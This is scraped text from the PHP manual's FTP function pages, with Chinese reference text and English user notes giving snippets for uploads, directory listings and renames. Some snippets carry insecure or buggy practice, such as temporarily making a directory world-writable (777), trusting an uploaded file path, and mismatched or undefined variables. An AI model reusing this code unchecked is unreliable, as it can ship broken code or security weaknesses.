Sometimes a web host will open PHP sessions with a user of 'nobody'. Files created by this user may not have the correct permissions to allow  management of those files by the actual owner of the site.  The following script allows the actual owner to open access to a directory so that 'nobody' can create a file using fopen(). Then using the handle created by 'nobody', the ftp_fput() command saves the file with the correct owner.  The file 'nobody' created is discarded.
<?
    $connection = ftp_connect($ftpServer);
    ftp_login($connection, $ftpUser, $ftpPass);
    ftp_chdir($connection, $ftpDir);
    // open the directory so that 'nobody' can create a temporary file
    ftp_site($cn, "CHMOD 777 $ftpDir");
    $new="tempFile";
    @unlink($new); // just in case
    $handle=fopen($new,"x");
    chmod($new,0777);
    fputs($handle,"a bunch of stuff...");
    fclose($handle); // have to rewind
    $handle=fopen("tempFile","r");
    ftp_fput($connection, "finalFile", $handle, FTP_ASCII);
    fclose($handle);
    unlink($new);
    // remove open access to the directory
    ftp_site($connection, "CHMOD 755 $ftpDir")
    ftp_close($connection);
?>
herok at atwatcher dot com 17-Jun-2004 10:59
victor at nobel dot com dot br wrote that
the correct dirpath format excluded "/home/USER/" from the public path, but for my server, i had to use it in order to get my scripts to work.

it may be obvious to most but I'm positing that you cannot use the $_SERVER['DOCUMENT_ROOT'] path since FTP starts at your top-level and therefore bypasses (or just plain doesn't recognize) most of the virtual server pathing.
Saeven 23-Sep-2003 09:43
if you examine the first user submitted function, ftp_putAll, it will work only if you extract this line and its matching bracket.

if (!@ftp_chdir($conn_id, $dst_dir."/".$file))

The function will have changed into that directory before having uploaded files to it.  This alters your upload path and the system will try to upload into an essentially non-existent directory (duped at the end).

Hope this helps some of you.
Cheers.
Saeven
lucas at rufy dot com 04-Aug-2003 01:45
The following is a fully tested function (based on a previous note) that recursively puts files from a source directory to a destination directory. See http://rufy.com/tech/archives/000026.html for more information.

NOTE: use full path name for the destination directory and the destination directory must already exist

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
    $d = dir($src_dir);
    while($file = $d->read()) { // do this for each file in the directory
        if ($file != "." && $file != "..") { // to prevent an infinite loop
            if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
                if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {
                    ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
                }
                ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
            } else {
                $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
            }
        }
    }
    $d->close();
}
darian lassan at yahoo de 05-Feb-2003 04:06
ftp_put() overwrites existing files.
Again: trivial but not mentioned here.
oheil at ecc-gmbh dot de 25-Sep-2002 05:43
If you want to copy a whole directory tree (with subdiretories),
this function (ftp_copy) might be usefull. Tested with
php 4.2.2 and a Linux OS.

Example:
----------------------------------------------------------------
$conn_id = ftp_connect("server_adress");
...

$src_dir = "/from";
$dst_dir = "/to";

ftp_copy($src_dir, $dst_dir);
...
ftp_close($conn_id)

Function: ftp_copy()
----------------------------------------------------------------
function ftp_copy($src_dir, $dst_dir) {

global $conn_id;

$d = dir($src_dir);

    while($file = $d->read()) {

        if ($file != "." && $file != "..") {

            if (is_dir($src_dir."/".$file)) {

                if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {

                ftp_mkdir($conn_id, $dst_dir."/".$file);
                }

            ftp_copy($src_dir."/".$file, $dst_dir."/".$file);
            }
            else {

            $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY);
            }
        }
    }

$d->close();
}
kiwo1 at yahoo dot com 28-Aug-2002 10:05
Friends,
If you wanna upload files from your harddisk by a form to a specified ftp this sample can help you...
First of all create the form:
<html>

<body marginwidth=4 marginheight=4 topmargin=4 leftmargin=4 bgcolor=white vlink="#0000ff" link="#0000ff">

<form name="Attachments"  method=POST action="sendimage.php" enctype="multipart/form-data">

<input type=hidden name=box value="">

<tr>
<td nowrap width="1%">&nbsp;&nbsp;<b>Image:</b></td>
<td colspan=2>
<input type=file name=source_file size=20> <br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

</td>
</tr>
<input type=submit name=btnSubmit value=Submit size=20 style="border: 1px solid #0000FF"></form>
</body>
</html>

The critical point in this form is the usage of  enctype="multipart/form-data"
If you don't use this part your upload operations won't work.
Then u must create sendimage.php as follows:

<?php

    $ftp_server='190.148.20.201';//serverip
    $conn_id = ftp_connect($ftp_server);

    // login with username and password
    $user="username";
    $passwd="*****";
    $login_result = ftp_login($conn_id, $user, $passwd);

// check connection
   if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed!";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        die;
    } else {
        echo "<br>Connected to $ftp_server, for user $user<br>";
    }
//directorylike /www.velibaba.com/images
  ftp_chdir($conn_id, "www.velibab.com");
  ftp_chdir($conn_id, "compimages");

//$destination_file=ftp_pwd($conn_id);

$destination_file="x.jpg";
echo ("<br>");
print $destination_file;

echo ("<br>");

// upload the file
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_BINARY);

// check upload status
if (!$upload) {
        echo "FTP upload has failed!";
    } else {
        echo "Uploaded $source_file to $ftp_server as $destination_file";
    }

// close the FTP stream
ftp_close($conn_id);
?>

In this example code $source_file is the path of the file in your disk, and destination file is the name of the uploaded file in ftpserver.
In this code I use ftp_chdir to give the path of the
 uploaded file within ftpserver..
For your questions about all categories of PHP my email:kiwo1@yahoo.com
c u...
clambert at whitecrown dot net 29-Jun-2001 07:24
When using versions of PHP below 4.04b4, the ftp_put command doesn't work on NT/IIS4. Most of the other functions will work, but there was a bug while trying to send upstream data to an IIS webserver.


返回当前目录名

  • ? ftp_put
  • ftp_quit ?
  • PHP Manual
  • FTP 函数
  • 返回当前目录名

ftp_pwd

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_pwd — 返回当前目录名

说明

ftp_pwd(FTP\Connection $ftp): string|false

参数

ftp

FTP\Connection 实例。

返回值

返回当前目录名称，发生错误则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_pwd() 示例

<?php

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// change directory to public_html
ftp_chdir($ftp, 'public_html');

// print current directory
echo ftp_pwd($ftp); // /public_html

// close the connection
ftp_close($ftp);
?>

参见

  • ftp_chdir() - 在 FTP 服务器上改变当前目录
  • ftp_cdup() - 切换到当前目录的父目录

User Contributed Notes

mike dot hall at opencube dot co dot uk 31-May-2001 09:15
This function doesn't always go to the remote server for the PWD. Once called the PWD is cached, and until PHP has a reason to believe the directory has changed any call to ftp_pwd() will return from the cache, even if the remote server has gone away.


ftp_close 的 别名

  • ? ftp_pwd
  • ftp_raw ?
  • PHP Manual
  • FTP 函数
  • ftp_close 的 别名

ftp_quit

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_quit — ftp_close() 的 别名

说明

此函数是该函数的别名： ftp_close()

User Contributed Notes

There are no user contributed notes for this page.


向 FTP 服务器发送命令

  • ? ftp_quit
  • ftp_rawlist ?
  • PHP Manual
  • FTP 函数
  • 向 FTP 服务器发送命令

ftp_raw

(PHP 5, PHP 7, PHP 8)

ftp_raw — 向 FTP 服务器发送命令

说明

ftp_raw(FTP\Connection $ftp, string $command): ?array

向 FTP 服务器发送任意 command。

参数

ftp

FTP\Connection 实例。

command

要执行的命令。

返回值

将服务器的响应以字符串数组的形式返回，失败时为 null。对于响应内容既不做解析处理，ftp_raw() 也不检测命令是否执行成功。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 使用 ftp_raw() 登录远程 FTP 服务器

<?php
$ftp = ftp_connect("ftp.example.com");

/* 等同于
ftp_login($ftp, "joeblow", "secret"); */
ftp_raw($ftp, "USER joeblow");
ftp_raw($ftp, "PASS secret");
?>

参见

  • ftp_exec() - 在 FTP 服务器运行指定的命令

User Contributed Notes

WebSee.ru 10-Aug-2009 11:38
How to realize the possibility of transferring data from one FTP-server to another via FXP?

<?php
// ...

$ansver = ftp_raw($ftp_conn1, 'PASV');

if (intval($ansver[0]) == 227) {
    ftp_raw($ftp_conn2, 'PORT '.substr($ansver[0], $n = strpos($ansver[0], '(') + 1, strpos($m[0], ')', $n) - $n));
    ftp_raw($ftp_conn1, 'STOR '.$filename); // need asynchronously (non-blocking)
    ftp_raw($ftp_conn2, 'RETR '.$filename);
}
?>
www.bossftp.com 05-Nov-2008 06:32
Note that the $command can not contains any illegal character such as \n, \r, \t, or this function will return NULL.

Try using the trim() before calling ftp_raw().

<?php
ftp_raw($connid, trim($command));
?>
nightwalker85 at gmail dot com 19-Apr-2005 04:32
<?
ftp_raw($ftpconn,"CLNT <client>");
?>

Is a good way to let the ftp-server know which client it's dealing with. Guess this can be useful if you're making a homemade ftp-client. Only do this if the ftp-server has responded to FEAT command with a response including CLNT.


返回指定目录下文件的详细列表

  • ? ftp_raw
  • ftp_rename ?
  • PHP Manual
  • FTP 函数
  • 返回指定目录下文件的详细列表

ftp_rawlist

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_rawlist — 返回指定目录下文件的详细列表

说明

ftp_rawlist(FTP\Connection $ftp, string $directory, bool $recursive = false): array|false

ftp_rawlist() 函数将执行 FTP LIST 命令，并把结果做为一个数组返回。

参数

ftp

FTP\Connection 实例。

directory

要操作的目录路径，可以包括 LIST 参数。

recursive

如果此参数为 true，实际执行的命令将会为 LIST -R。

返回值

返回一个数组，数组的每个元素为返回文本的每一行，输出结构不会被解析。使用函数 ftp_systype() 可以用来判断 FTP 服务器的类型，从而可以用来判断返回列表的类型。

不以任何方式解析输出。ftp_systype() 返回的系统类型标识符可用于确定应如何解释结果。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_rawlist() 示例

<?php

// 初始化连接
$ftp = ftp_connect($ftp_server);

// 使用用户名和密码登录
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// 获取 / 路径下的文件列表
$buff = ftp_rawlist($ftp, '/');

// 关闭连接
ftp_close($ftp);

// 输出
var_dump($buff);
?>

以上示例的输出类似于：

array(3) {
  [0]=>
  string(65) "drwxr-x---   3 vincent  vincent      4096 Jul 12 12:16 public_ftp"
  [1]=>
  string(66) "drwxr-x---  15 vincent  vincent      4096 Nov  3 21:31 public_html"
  [2]=>
  string(73) "lrwxrwxrwx   1 vincent  vincent        11 Jul 12 12:16 www -> public_html"
}

参见

  • ftp_nlist() - 返回给定目录的文件列表
  • ftp_mlsd() - 返回指定目录中的文件列表

User Contributed Notes

Roline88 at hotmail dot com 19-Apr-2018 05:26
Note that this function also will return false if the content of the provided directory is empty.
nickman at freemail dot hu 24-Apr-2014 07:17
The solution of fredvanetten at tinqle dot com is nice but needs further evaluation as because of the preg_split and static listing of the variables will produce different values: comparing a file of today or an older, from a previous year:

Array
(
    [time] => 2012
    [day] => 11
    [month] => Sep
    [size] => 37262
    [group] => group
    [user] => owner
    [number] => 1
    [rights] => -rw-rw-rw-
)

Array
(
    [time] => 14:01
    [day] => 23
    [month] => Apr
    [size] => 37262
    [group] => group
    [user] => owner
    [number] => 1
    [rights] => -rw-rw-rw-
)
mediaboat at gmail dot com 14-Mar-2014 10:55
All  parse_rawlist Functions here have one Problem.

when a file starts with a space character like " robots.txt ", it will be ignored.

Rename, delete will fail...
fredvanetten at tinqle dot com 10-Dec-2012 07:12
Here's a simple function that'll parse the data returned by ftp_rawlist() into an associative array. I wrote it because some of the functions listed below are way to long, complex or won't work with file names that contain spaces.

<?php
    function listDetailed($resource, $directory = '.') {
        if (is_array($children = @ftp_rawlist($resource, $directory))) {
            $items = array();

            foreach ($children as $child) {
                $chunks = preg_split("/\s+/", $child);
                list($item['rights'], $item['number'], $item['user'], $item['group'], $item['size'], $item['month'], $item['day'], $item['time']) = $chunks;
                $item['type'] = $chunks[0]{0} === 'd' ? 'directory' : 'file';
                array_splice($chunks, 0, 8);
                $items[implode(" ", $chunks)] = $item;
            }

            return $items;
        }

        // Throw exception or return false < up to you
    }
?>
Johnny Doe 24-Nov-2010 06:18
In case anybody wants to get a detailed listing using the MLSD command over a passive connection, the following function might be helpful as a starting point for your own implementation:

<?php
function ftp_mlsd($ftp, $directory) {
    $ok = @ftp_chdir($ftp, $directory);
    if (!$ok) {
        return false;
    }
    $ret = ftp_raw($ftp, 'PASV');
    if (preg_match(
        '/^227.*\(([0-9]+,[0-9]+,[0-9]+,[0-9]+),([0-9]+),([0-9]+)\)$/',
        $ret[0], $matches)) {
        $controlIP = str_replace(',', '.', $matches[1]);
        $controlPort = intval($matches[2])*256+intval($matches[3]);
        $socket = fsockopen($controlIP, $controlPort);
        ftp_raw($ftp, 'MLSD');
        $s = '';
        while (!feof($socket)) {
            $s .= fread($socket, 4096);
        }
        fclose($socket);
        $files = array();
        foreach (explode("\n", $s) as $line) {
            if (!$line) {
                continue;
            }
            $file = array();
            foreach (explode(';', $line) as $property) {
                list($key, $value) = explode('=', $property);
                if ($value) {
                    $file[$key] = $value;
                } else {
                    $filename = trim($key);
                }
            }
            $files[$filename] = $file;
        }
        return $files;
    }
    return false;
}
?>

Please note that this function ignores the setting of ftp_pasv(). Making the function to work universally for both active and passive connections is left as an exercise to the reader ;-)
shaun at shaunfreeman dot co dot uk 13-May-2010 04:02
Get a listing of all files including hidden files except '.' or '..' use:

<?php
ftp_chdir($connid, $dir);
ftp_rawlist($connid, "-A");
?>

This had me dancing in circles for some time!
John 02-May-2010 04:46
There are a couple of php-related reasons given here for ftp_rawlist returning an empty result. However be aware that ZoneAlarm (and possibly other) firewalls can block responses without giving any visible clue so be sure to check that first.
nospam at advancedonsite dot com 03-Nov-2009 08:02
ftp_rawlist kept returning empty file listing, it would work on some machines but not others, it turned out to be ftp_pasv command was needed.
Very frustrating
ahmadmarafa at gmail dot com 23-Jun-2009 07:38
this is function to check for dirs

<?php
function ftp_isdir($connect_id,$dir)
{
    if(ftp_chdir($connect_id,$dir))
    {
        ftp_cdup($connect_id);
        return true;

    }
    else
    {
        return false;
    }
}
?>
tmp at gmx dot de 26-May-2009 04:20
To format the _recrusive_ result of this function I use this:

<?php
$conn_id = ftp_connect(FTP_SERVER);

$login_result = ftp_login($conn_id, FTP_USR, FTP_PASS);

$rawfiles = ftp_rawlist($conn_id, '/', true);

ftp_close($conn_id);

// here the magic begins!
$structure = array();
$arraypointer = &$structure;
foreach ($rawfiles as $rawfile) {
    if ($rawfile[0] == '/') {
        $paths = array_slice(explode('/', str_replace(':', '', $rawfile)), 1);
        $arraypointer = &$structure;
        foreach ($paths as $path) {
            foreach ($arraypointer as $i => $file) {
                if ($file['text'] == $path) {
                    $arraypointer = &$arraypointer[ $i ]['children'];
                    break;
                }
            }
        }
    } elseif(!empty($rawfile)) {
        $info = preg_split("/[\s]+/", $rawfile, 9);
        $arraypointer[] = array(
            'text'   => $info[8],
            'isDir'  => $info[0]{0} == 'd',
            'size'   => byteconvert($info[4]),
            'chmod'  => chmodnum($info[0]),
            'date'   => strtotime($info[6] . ' ' . $info[5] . ' ' . $info[7]),
            'raw'    => $info
            // the 'children' attribut is automatically added if the folder contains at least one file
        );
    }
}

// in $structure is all the data
print_r($structure);

// little helper functions
function byteconvert($bytes) {
    $symbol = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $exp = floor( log($bytes) / log(1024) );
    return sprintf( '%.2f ' . $symbol[ $exp ], ($bytes / pow(1024, floor($exp))) );
}

function chmodnum($chmod) {
    $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
    $chmod = substr(strtr($chmod, $trans), 1);
    $array = str_split($chmod, 3);
    return array_sum(str_split($array[0])) . array_sum(str_split($array[1])) . array_sum(str_split($array[2]));
}

?>
francois frao_o 12-Mar-2009 10:47
Why not using POSIX regex to do the job here ? A preg_replace returns the information in an associative array with the following keys:

<rights>
<number>
<owner>
<group>
<file_size>
<mod_time>
<file>
<type> * that's a bonus: it will tell you if the item is either a file or a directory

Code is shown below:

$list=@ftp_rawlist($con,$directory) ;

$items=array() ;

foreach($list as $_)
preg_replace(

'`^(.{10}+)(\s*)(\d{1})(\s*)(\d*|\w*)'.
'(\s*)(\d*|\w*)(\s*)(\d*)\s'.
'([a-zA-Z]{3}+)(\s*)([0-9]{1,2}+)'.
'(\s*)([0-9]{2}+):([0-9]{2}+)(\s*)(.*)$`Ue',

'$items[]=array(
"rights"=>"$1",
"number"=>"$3",
"owner"=>"$5", "group"=>"$7",
"file_size"=>"$9",
"mod_time"=>"$10 $12 $14:$15",
"file"=>"$17",
"type"=>print_r((preg_match("/^d/","$1"))?"dir":"file",1));',

$_) ; # :p
www.bosssftp.com 07-Nov-2008 02:43
Some FTP servers only allow you to get list of files under current working directory. So if you always get result as empty array (array(0){ }), try changing the cwd befor get the list:

<?php
function ftprawlist($connid, $dir) {
  ftp_chdir($connid, $dir);
  return ftp_rawlist($connid, "-a");
}
?>
paul maybe at squirrel mail org 24-Apr-2008 05:13
Regarding converting permissions from symbolic notation to octal, note that Hazem dot Khaled at gmail dot com's chmodnum function produces INCORRECT results.  The resutls are base-10 numbers that only LOOK like they are octal numbers.  The function also ignores setuid, setgid and sticky bits, and will produce incorrect numbers if such a file is encountered.  Instead, this brute-force code works.  Maybe there is something more slick, but this isn't too CPU-intensive (note that it assumes you've error-checked that you indeed have a 10-character string!):

      $permissions = 'drwxr-xr-x';  // or whatever
      $mode = 0;

      if ($permissions[1] == 'r') $mode += 0400;
      if ($permissions[2] == 'w') $mode += 0200;
      if ($permissions[3] == 'x') $mode += 0100;
      else if ($permissions[3] == 's') $mode += 04100;
      else if ($permissions[3] == 'S') $mode += 04000;

      if ($permissions[4] == 'r') $mode += 040;
      if ($permissions[5] == 'w') $mode += 020;
      if ($permissions[6] == 'x') $mode += 010;
      else if ($permissions[6] == 's') $mode += 02010;
      else if ($permissions[6] == 'S') $mode += 02000;

      if ($permissions[7] == 'r') $mode += 04;
      if ($permissions[8] == 'w') $mode += 02;
      if ($permissions[9] == 'x') $mode += 01;
      else if ($permissions[9] == 't') $mode += 01001;
      else if ($permissions[9] == 'T') $mode += 01000;

      printf('Mode is %d decimal and %o octal', $mode, $mode);
weltvolk 04-Jan-2008 06:17
With this handy function based on functions presented here you get the file list in alphabetical order with all directories on top:

<?php
function rawlist_dump() {
  global $ftp_connect;
  $ftp_rawlist = ftp_rawlist($ftp_connect, ".");
  foreach ($ftp_rawlist as $v) {
    $info = array();
    $vinfo = preg_split("/[\s]+/", $v, 9);
    if ($vinfo[0] !== "total") {
      $info['chmod'] = $vinfo[0];
      $info['num'] = $vinfo[1];
      $info['owner'] = $vinfo[2];
      $info['group'] = $vinfo[3];
      $info['size'] = $vinfo[4];
      $info['month'] = $vinfo[5];
      $info['day'] = $vinfo[6];
      $info['time'] = $vinfo[7];
      $info['name'] = $vinfo[8];
      $rawlist[$info['name']] = $info;
    }
  }
  $dir = array();
  $file = array();
  foreach ($rawlist as $k => $v) {
    if ($v['chmod']{0} == "d") {
      $dir[$k] = $v;
    } elseif ($v['chmod']{0} == "-") {
      $file[$k] = $v;
    }
  }
  foreach ($dir as $dirname => $dirinfo) {
      echo "[ $dirname ] " . $dirinfo['chmod'] . " | " . $dirinfo['owner'] . " | " . $dirinfo['group'] . " | " . $dirinfo['month'] . " " . $dirinfo['day'] . " " . $dirinfo['time'] . "<br>";
  }
  foreach ($file as $filename => $fileinfo) {
      echo "$filename " . $fileinfo['chmod'] . " | " . $fileinfo['owner'] . " | " . $fileinfo['group'] . " | " . $fileinfo['size'] . " Byte | " . $fileinfo['month'] . " " . $fileinfo['day'] . " " . $fileinfo['time'] . "<br>";
  }
}
rawlist_dump();
?>
ari at bs-inc dot com 17-Oct-2006 01:24
This is a little cleaner:

function parse_rawlist( $array )
{
    foreach($array as $curraw)
    {
        $struc = array();
        $current = preg_split("/[\s]+/",$curraw,9);

        $struc['perms']  = $current[0];
        $struc['number'] = $current[1];
        $struc['owner']  = $current[2];
        $struc['group']  = $current[3];
        $struc['size']  = $current[4];
        $struc['month']  = $current[5];
        $struc['day']    = $current[6];
        $struc['time']  = $current[7];
        $struc['year']  = $current[8];
        $struc['raw']  = $curraw;
        $structure[$struc['name']] = $struc;
    }
   return $structure;

}
admin at mikeholloway dot co dot uk 03-Dec-2005 02:38
I was having problems picking up the directories on a mac using cjacobsen at pge dot cl's (11-Jan-05) solution. Slight ammendment to the regexp works for me:

ereg("([-dl][rwxstST-]+).* ?([0-9 ]* )?([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)
nate at 8networks dot com 07-May-2005 12:41
this snip fixes the date problem with the listing and sorts out the variables:

$filedata['access_permissions']
$filedata['link_count']
$filedata['uid']
$filedata['gid']
$filedata['size']
$filedata['mod_date_month']
$filedata['mod_date_day']
$filedata['mod_time']
$filedata['name']

list($filedata['access_permissions'], $filedata['link_count'], $filedata['uid'], $filedata['gid'], $filedata['size'], $filedata['mod_date_month'], $filedata['mod_date_day'], $filedata['mod_time'], $filedata['name']) = preg_split("/[\s,]+/", $value);

$filedata['type'] = $filedata['access_permissions']{0};

$filedata['access_permissions'] = substr($filedata['access_permissions'],1);

// now check the date to see if the last modifcation was this year or last.

if ( strrpos($filedata['mod_time'], ':') != 2 ) { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . $filedata['mod_time']; $filedata['mod_time'] = "00:00"; } else { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . date("Y"); }
marc dot peterlongo at francetelecom dot com 03-Feb-2005 02:57
When you try:

$path = "directory pathname with spaces";
$list = ftp_rawlist($conn_id,$path);

It doesn't work

but when you try:

$path = "directory pathname with spaces";
ftp_chdir($conn_id,$path);
$list = ftp_rawlist($conn_id,".");

It works
cjacobsen at pge dot cl 11-Jan-2005 05:44
Excelent expresion, but don't match SUID, SGUI and Sticky flags when 'x' is disabled. Fix it with [rwxstST-].

<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxstST-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
greg at upsdn dot net 19-Dec-2004 11:58
list all (including hidden files and dirs):
<?php
  $contents = ftp_rawlist($conn_id, "-al ".$dir_name);
?>

just as ftp command:
LIST al

"-aF " is equal to '-al', please refer to "ls --help"
greg at upsdn dot net 25-Nov-2004 10:55
The previous regular expression(by Jonathan Almarez,ergye at yahoo dot com and guru at virusas dot lt) is very good.But i found it does not  take into account for directories(number>9)

Change [0-9] to [0-9]*

The code below not only parses:
drwxrwxr-x     9 msik     ia           4096 Nov  5 14:19 Group3

It also parses:
drwxrwxr-x   19 msik     ia           4096 Nov  5 14:19 Group3
3
drwxrwxr-x   119 msik     ia           4096 Nov  5 14:19 Group3
3

0 = file
1 = directory
2 = simlink
<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxst-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
22-Oct-2004 07:53
Note that there is no standard for the format, therefore don't be suprised when parsing routines for this work perfectly on some servers, and fail horribly on some.
eros at speedy dot com dot ar 01-Sep-2004 02:06
NO, NO, NO.

The above examples are all wrong, the spaces given in array are not there "just because", its just a tabbed structure. In php we don't have structures like in c/cpp, but the following function will do the job.

<?php

function parse_rawlist( $array ) {

    for ( $i = 1; $i < count($array); $i++ ) {

        $current = $array[$i];

        $structure[$i]['perms']  = substr($current, 0, 10);
        $structure[$i]['number'] = trim(substr($current, 11, 3));
        $structure[$i]['owner']  = trim(substr($current, 15, 8));
        $structure[$i]['group']  = trim(substr($current, 24, 8));
        $structure[$i]['size']   = trim(substr($current, 33, 8));
        $structure[$i]['month']  = trim(substr($current, 42, 3));
        $structure[$i]['day']    = trim(substr($current, 46, 2));
        $structure[$i]['time']   = substr($current, 49, 5);
        $structure[$i]['name']   = substr($current, 55, strlen($current) - 55);

    }

    return $structure;

}

?>
06-Jan-2004 03:40
If you write
<?php
rawlist ($ftp, "-a");
?>
The command will be "LIST -a", so the retuned list will also contain hidden files like ".htaccess".

In this case all files and folders of the current directory are contained.
To list another folder, you must change to it with "ftp_chdir".


更改 FTP 服务器上的文件或目录名

  • ? ftp_rawlist
  • ftp_rmdir ?
  • PHP Manual
  • FTP 函数
  • 更改 FTP 服务器上的文件或目录名

ftp_rename

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_rename — 更改 FTP 服务器上的文件或目录名

说明

ftp_rename(FTP\Connection $ftp, string $from, string $to): bool

ftp_rename() 将 FTP 服务器上的一个文件或目录改名。

参数

ftp

FTP\Connection 实例。

from

原来的文件／目录名。

to

新名字。

返回值

成功时返回 true， 或者在失败时返回 false。 失败时（比如试图重命名一个不存在的文件）将会抛出一个 E_WARNING 错误信息。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_rename() 例子

<?php
$old_file = 'somefile.txt.bak';
$new_file = 'somefile.txt';

// set up basic connection
$ftp = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// try to rename $old_file to $new_file
if (ftp_rename($ftp, $old_file, $new_file)) {
echo "successfully renamed $old_file to $new_file\n";
} else {
echo "There was a problem while renaming $old_file to $new_file\n";
}

// close the connection
ftp_close($ftp);
?>

User Contributed Notes

alishahnovin at hotmail dot com 11-Dec-2007 07:25
You want to make sure you check the existence of the new name before renaming files, because otherwise you could risk losing files. Just do a simple check with ftp_size with the new name. If it's !=-1, you're going to want to throw some kind of error, otherwise you'll be losing a file...
aventaria at hotmxxx dot com 07-Feb-2007 04:51
This function isn't only able to rename files, but also folders. And it is not only able to rename them, but also move them, and, in the case of folders, their contents as well (so folders don't have to be empty to move). For example:

<?php
ftp_rename($conn_id, "./dir1/dir2/", "./dir3/");
?>

Now the folder dir2 (which prevously was in folder dir1) has moved to the same folder as dir1, and it has kept its original contents (the content just moved along).
Hazem dot Khaled at gmail dot com 26-Nov-2006 07:56
to rename the file or folder you should use ftp_chdir to select the current directory on ftp server or you should write the full path to file in old name and in new name

Ex. 1
<?php
// open the folder that have the file
ftp_chdir($conn_id, '/www/ftp-filemanager/');

// rename the file
ftp_rename($conn_id, 'file1.jpg', 'new_name_4_file.jpg');
?>

or write full path Ex. 2
<?
// rename the file
ftp_rename($conn_id, '/www/ftp-filemanager/file1.jpg', '/www/ftp-filemanager/new_name_4_file.jpg');
?>
Hugo locobyte at hotmail dot NO_SPAM dot com 22-Nov-2002 12:29
Using "ftp_rename" to move files to other directories on server ftp
..
...
if(ftp_rename($conn_ftp, $xfiles[$i], "./dirx/".$xfiles[$i])) {
       echo "File $xfiles[$i] moved to ./dirx";
} else {
       echo "ERROR!!!. The file could not be moved";
}
...
..
#-->>h2m,  bye


删除目录

  • ? ftp_rename
  • ftp_set_option ?
  • PHP Manual
  • FTP 函数
  • 删除目录

ftp_rmdir

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_rmdir — 删除目录

说明

ftp_rmdir(FTP\Connection $ftp, string $directory): bool

删除 FTP 服务器上 directory 参数指定的目录。

参数

ftp

FTP\Connection 实例。

directory

要删除的目录。必须是一个空目录的绝对路径或相对路径。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_rmdir() 示例

<?php
$dir = 'www/';

// 简单基本连接
$ftp = ftp_connect($ftp_server);

// 使用用户名和密码进行登录
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// 尝试删除 $dir 目录
if (ftp_rmdir($ftp, $dir)) {
echo "Successfully deleted $dir\n";
} else {
echo "There was a problem while deleting $dir\n";
}

ftp_close($ftp);

?>

参见

  • ftp_mkdir() - 建立新目录

User Contributed Notes

